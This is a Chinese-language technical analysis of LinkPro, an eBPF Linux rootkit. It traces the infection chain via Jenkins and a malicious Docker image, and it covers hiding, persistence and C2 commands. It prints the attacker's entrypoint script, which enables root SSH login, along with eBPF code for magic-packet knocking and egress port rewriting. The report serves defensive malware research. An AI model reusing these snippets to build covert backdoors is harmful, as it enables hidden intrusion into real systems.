
摘要
這份報告提供了 LinkPro 的全面技術分析,LinkPro 是一種針對 GNU/Linux 系統的複雜 eBPF 型 rootkit。報告深入探討了其感染鏈、rootkit 的運作機制,以及其進階的隱匿與持久化技術。特別關注了負責網路流量操控和程序隱藏的 eBPF 程式,包括對相關程式碼片段和架構圖的詳細檢視。本報告旨在闡明 LinkPro 的技術複雜性,有助於更深入地理解現代利用 eBPF 的惡意軟體。

1. 簡介
擴展的 Berkeley Packet Filter (eBPF) 已成為 Linux 生態系統中強大的內核虛擬機器,為可觀察性、安全性和網路提供了前所未有的能力。它能夠在 kernel 環境中安全地執行使用者定義的程式,徹底改變了系統監控和控制。然而,這種能力也吸引了 Threat actors,他們越來越多地濫用 eBPF 來開發高度隱匿且持久的惡意軟體,通常被稱為 eBPF rootkits [1]。這些進階威脅利用 eBPF 的 kernel 級別存取來規避傳統的安全機制、操縱系統行為並在被入侵的系統上保持隱蔽存在 [2]。
LinkPro 就是這樣一種複雜的 eBPF rootkit,是在對受入侵基礎設施進行數位調查時發現的 [1]。此惡意軟體採用雙 eBPF 模組策略:一個用於自我隱藏,另一個則透過一個 "magic packet" 進行遠端啟動 [1]。本報告旨在剖析 LinkPro 的技術功能,對其感染途徑、eBPF 組件、持久化機制以及命令與控制能力進行深入分析。透過檢視底層程式碼和架構流程,本次分析旨在增進對 eBPF 如何被武器化的理解,並為防禦此類進階持續性威脅提供防禦策略的參考。
2. 感染鏈
導致 LinkPro 部署的初始入侵源於一個有漏洞的 Jenkins 伺服器,具體來說是利用了 CVE-2024–23897 [1]。此漏洞為 Threat actor 提供了初始存取權限,隨後被用來滲透託管在 Amazon EKS 叢集上的整合與部署管線。從被入侵的 Jenkins 伺服器,一個名為
kvlnt/vv
的惡意 Docker 映像檔被部署到多個 Kubernetes 叢集。這個基於 Kali Linux 的 Docker 映像檔,包含了額外的階層,在
/app
目錄中包含三個關鍵組件 [1]:
-
/app/start.sh
: 作為 Docker 映像檔的進入點 (entrypoint) 的 bash 腳本,負責啟動 SSH 服務、執行/app/app
後門,並啟動/app/link
程式。 -
/app/link
: 一個開源的 VPN 伺服器和代理工具 (vnt),設定為連接到一個社群中繼伺服器。這使得 Threat actor 能夠建立隱蔽連線,並將被入侵的伺服器用作內部網路樞紐的代理。 -
/app/app
: 一個名為 vGet 的下載器惡意軟體,使用 Rust 開發。它的主要功能是從 S3 bucket 取出一個加密的 malicious payload,通常是一個記憶體內部的 vShell 4.9.3 後門。vGet 也會創建一個從/tmp/.del
到/dev/null
的符號連結,vShell 隨後會使用它來防止指令 history 被寫入 disk,從而增強隱匿性。
Docker 映像檔內的一個關鍵設定涉及將主機的 root 分割區 (
/
) 掛載到容器的
/mnt
目錄,並賦予讀寫權限。這種錯誤設定允許 Threat actor 逃逸容器的環境並獲得整個主機檔案系統的
root
存取權限 [1]。隨後,這種提升的權限被用來從主機和其他
pod
取出敏感的認證,使用諸如
cat
等指令從與 Kubernetes 相關的 Path 提取資料。
在初始部署之後,觀察到一個 dropper 部署了另一個 vShell 後門,這次是透過 DNS tunneling 進行通訊。最終,未公開的 LinkPro rootkit 被引入,它利用 eBPF 技術實現了進階的隱匿性、持久化和內部網路樞紐能力 [1]。整個感染鏈如下圖所示:
圖 1:LinkPro 感染鏈
2.1. 初始執行腳本分析
start.sh
腳本是惡意 Docker 映像檔的進入點。它執行了幾項關鍵動作來建立持久性和啟動惡意軟體組件。該腳本修改了 SSH
daemon
的設定,啟動 SSH 服務,然後執行
vGet
下載器和
vnt
VPN/代理工具。
- #!/bin/bash
- sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
- /etc/init.d/ssh start
- ./app &
- ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
程式碼分析:
-
sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
: 此命令修改sshd_config
檔案以啟用 root 登入,方便攻擊者進行持久的遠端存取。 -
/etc/init.d/ssh start
: 啟動 SSH 服務,使被入侵的主機可透過 SSH 存取。 -
./app &
: 在背景執行vGet
下載器,它會繼續抓取並執行vShell
Payload 。 -
./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
: 啟動vnt
VPN/代理用戶端。引數指定了一個 Token (-k
)、一個密碼 (-w
)、啟用加密 (-W
),並允許轉發到所有網路區段 (-o 0.0.0.0/0
)。|| tail -f /var/log/wtmp
確保如果./link
失敗,容器不會退出,從而維持某種形式的活動。
3. LinkPro eBPF Rootkit
LinkPro 的獨特之處在於其對 eBPF 程式的複雜運用,以實現隱匿性和維持控制。它嵌入了四個 ELF 模組:一個共享函式庫、一個 Kernel 模組(似乎未使用)和兩個 eBPF 模組 [1]。這些 eBPF 模組是其運作的核心,實現了隱蔽通訊和系統操控。
3.1. 設定與通訊
LinkPro 的運作模式(被動或主動)由其設定決定,該設定可以 JSON 格式嵌入在二進位檔案中、
hardcoded
,或透過命令列引數修改。關鍵的命令列引數包括
-ebpf
(啟用/停用 eBPF 功能)、
-hideebpf
(隱藏 eBPF 程式/映射/連結)和
-pid
(隱藏特定的程序 ID)[1]。這種靈活性允許 rootkit 根據部署環境和攻擊者目標調整其行為。
3.2. 基於 eBPF 的 "Magic Packet" 啟動 (xdp_ingress)
LinkPro 最巧妙的功能之一是其
基於 eBPF 的 "magic packet" 啟動機制,主要透過
xdp_ingress
eBPF 程式實現。這個程式附著在 XDP (eXpress
Data
Path) 層的網路介面上,使其能夠在網路堆疊中最早的可能點處理傳入的封包,在它們到達
Kernel
的正常處理管線之前 [1]。
xdp_ingress
程式監控具有預定義視窗大小 (54321) 的特定 TCP SYN 封包。一旦偵測到,它會將此 "magic packet" 的來源 IP 註冊到
knock_map
中,有效期限為一小時。它還在
rev_port
映射中儲存一個 port mapping,將來源 IP、來源通訊埠和一個預定義的內部通訊埠 (2233) 連結到 magic packet 的原始目的通訊埠。至關重要的是,magic packet 本身會被丟棄 (
XDP_DROP
),以確保其隱匿性 [1]。
隨後,對於任何源自於
knock_map
中註冊的 IP 位址的 TCP 封包,
xdp_ingress
程式會將封包的目的通訊埠修改為 2233(LinkPro 的監聽埠),如果它尚未設定的話。它也會重新計算 TCP checksum 以確保封包完整性。這使得攻擊者可以透過任何前置防火牆授權的通訊埠與 LinkPro 通訊,因為該通訊埠在內部被重寫。然後封包會被傳遞到網路堆疊 (
XDP_PASS
) [1]。
- if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
- bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
- __u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
- bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
- bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);
- __u16 in_port = get_in_port()
- struct rev_key rk = {
- in_port,
- sip_h,
- sport_h
- }
- bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);
- bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);
- return XDP_DROP;
- }
程式碼分析:
-
此程式碼片段展示了偵測 magic packet 的核心邏輯。它檢查傳入的 TCP 封包是否為 SYN 封包,以及其視窗大小是否與
MAGIC_WIN
(54321) 相符。 -
如果偵測到 magic packet,
bpf_ktime_get_ns() + WIN_NS
會計算來源 IP 的有效期限(目前時間 + 1 小時),然後儲存在knock_map
中。此 map 用於追蹤授權 IP 以進行後續通訊。 -
一個
rev_key
結構被填入內部通訊埠 (in_port
,通常為 2233)、來源 IP (sip_h
) 和來源通訊埠 (sport_h
)。這個 key ,連同原始目的通訊埠 (dport_h
),儲存在rev_port
映射中。此映射對於在 egress 流量上重寫來源通訊埠至關重要。 -
最後,回傳
XDP_DROP
,阻止 magic packet 進一步進入 Kernel ,從而保持隱匿性。
eBPF magic packet 啟動的流程如下圖所示:
圖 2:eBPF Magic Packet 啟動流程
3.3. 基於 eBPF 的 Egress 封包重寫 (tc_egress)
為了確保雙向通訊同時保持隱匿性,LinkPro 採用了第二個 eBPF 程式
tc_egress
,附著在 egress(輸出)流量 Path 上。此程式監控來源通訊埠為 LinkPro 內部監聽埠 (2233) 的輸出 TCP 封包 [1]。
當偵測到此類封包時,
tc_egress
會查詢
rev_port
映射(由
xdp_ingress
填充)以取出傳入 magic packet 的原始目的通訊埠。然後,它將輸出封包的來源通訊埠重寫回此原始通訊埠,並重新計算 TCP checksum。這確保了回應封包看起來是源自於攻擊者最初瞄準的通訊埠,進一步混淆了 LinkPro 的存在,並使網路鑑識更具挑戰性 [1]。
- if ((data->tcph).source == bpf_htons(get_in_port())){
- __u16 dport_n = tcph->dest;
- struct rev_key rk = {
- get_in_port(),
- bpf_ntohl((data->iph).daddr),
- bpf_ntohs(dport_n)
- }
- __u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
- if (!knock) {
- bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
- }
- else {
- __u16 new_n = bpf_htons(*knock);
- __u16 old_n = (data->tcph).source;
- __u32 o32 = (__u32)old_n;
- __u32 n32 = (__u32)new_n;
- __u32 diff = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
- (data->tcph).source = new_n;
- (data->tcph).check = fold_csum(diff);
- bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
- }
- }
程式碼分析:
-
此片段說明了
tc_egress
如何識別源自 LinkPro 內部通訊埠 (get_in_port()
,通常為 2233) 的輸出封包。 -
它使用內部通訊埠、目的 IP 和輸出封包的目的通訊埠構建一個
rev_key
。此 key 用於從rev_port
映射中查找對應的原始目的通訊埠。 -
如果找到匹配項 (
knock
不為空),輸出 TCP header 的來源通訊埠會被重寫為原始通訊埠 (*knock
)。 -
使用
bpf_csum_diff
計算新的 TCP checksum 以反映通訊埠修改,確保封包保持有效。 -
bpf_printk
語句提供了除錯資訊,指示何時發生通訊埠重寫。
egress 封包重寫程序如下圖所示:
圖 3:eBPF Egress 封包重寫流程
3.4. 隱藏與持久化
除了網路隱匿性,LinkPro 還採用了幾種技術來實現隱藏和持久化。對於
Kernel
級別的隱藏,它利用 eBPF
tracepoint
和
kretprobe
程式來攔截系統呼叫,例如
getdents
(用於檔案隱藏)和
sys_bpf
(用於隱藏其自身的 eBPF 程式)。如果缺少必要的
Kernel
設定 (
CONFIG_BPF_KPROBE_OVERRIDE
),LinkPro 會透過
/etc/ld.so.preload
加載一個 malicious payload 程式庫,退回到使用者空間隱藏 [1]。
為了持久化,LinkPro 將自己偽裝成
systemd-resolved
服務。這涉及以讀/寫權限掛載
root
分割區,將其可執行檔複製到一個隱藏位置(例如,
/usr/lib/.system/.tmp~data.resolveld
),並創建一個惡意的
systemd unit File
(
/etc/systemd/system/systemd-resolveld.service
),以確保它在開機時啟動並在被終止時重新啟動。它還執行
timestomping
,將其檔案的修改日期與合法的系統檔案(如
/etc/passwd
)匹配,進一步阻礙偵測 [1]。
3.5. 命令與控制 (C2) 能力
一旦建立,LinkPro 為攻擊者提供了一系列命令與控制功能,從而能夠對受入侵系統進行全面控制 [1]:
-
終端管理:
像
terminal_create
、terminal_resize
和terminal_input
這樣的命令允許攻擊者在 pseudo-terminal 中執行/bin/bash
並與之互動。 -
Shell
執行:
shell
命令直接執行任意 shell 命令(例如,/bin/sh -c [cmd]
)。 -
檔案管理:
一套子命令(
read_file
、list_files
、write_file
、create_file
、delete_file
、upload_file
、create_folder
、get_current_dir
、delete_files_batch
)提供了對檔案系統的完全控制。upload_file
子命令透過 HTTP 方便地下載檔案到受感染的主機。 -
下載管理:
download_manage
命令允許以 1MB base64-encoded chunk 進行檔案外洩。 -
Reverse Connection:
reverse_connect
和close_reverse_connect
使用resocks
模組建立 SOCKS5 代理 tunnel ,使受入侵主機充當樞紐點。 -
Reverse HTTP Listener:
reverse_http_listener
設定 HTTP 服務進行通訊。 -
睡眠設定:
set_sleep_config
更新諸如sleep_time
和jitter_time
等參數,影響 rootkit 的運作節奏和規避能力。
4. 結論
LinkPro eBPF rootkit 代表了惡意軟體複雜度的重大演變,有效地利用了 eBPF 的強大功能和靈活性,實現了深層次的 Kernel 級隱匿和強健的持久化。其多層次的方法,將複雜的感染鏈與用於網路流量操控和程序隱藏的進階 eBPF 程式相結合,對傳統安全解決方案構成了實質性的挑戰。使用 "magic packet" 進行啟動和動態重寫網路 headers 體現了旨在繞過偵測並使鑑識分析複雜化的創新規避技術。
對 LinkPro 的技術分析強調了對能夠監控和分析 Kernel 內 eBPF 程式行為的強化安全措施的關鍵需求。隨著 eBPF 的採用增加,惡意 Threat actor 對其的攻擊也會增加。開發和部署進階的 eBPF 感知安全工具,以及嚴格的系統強化和持續監控,對於防禦像 LinkPro 這樣的 rootkits 和減輕這類新興威脅所帶來的風險至關重要。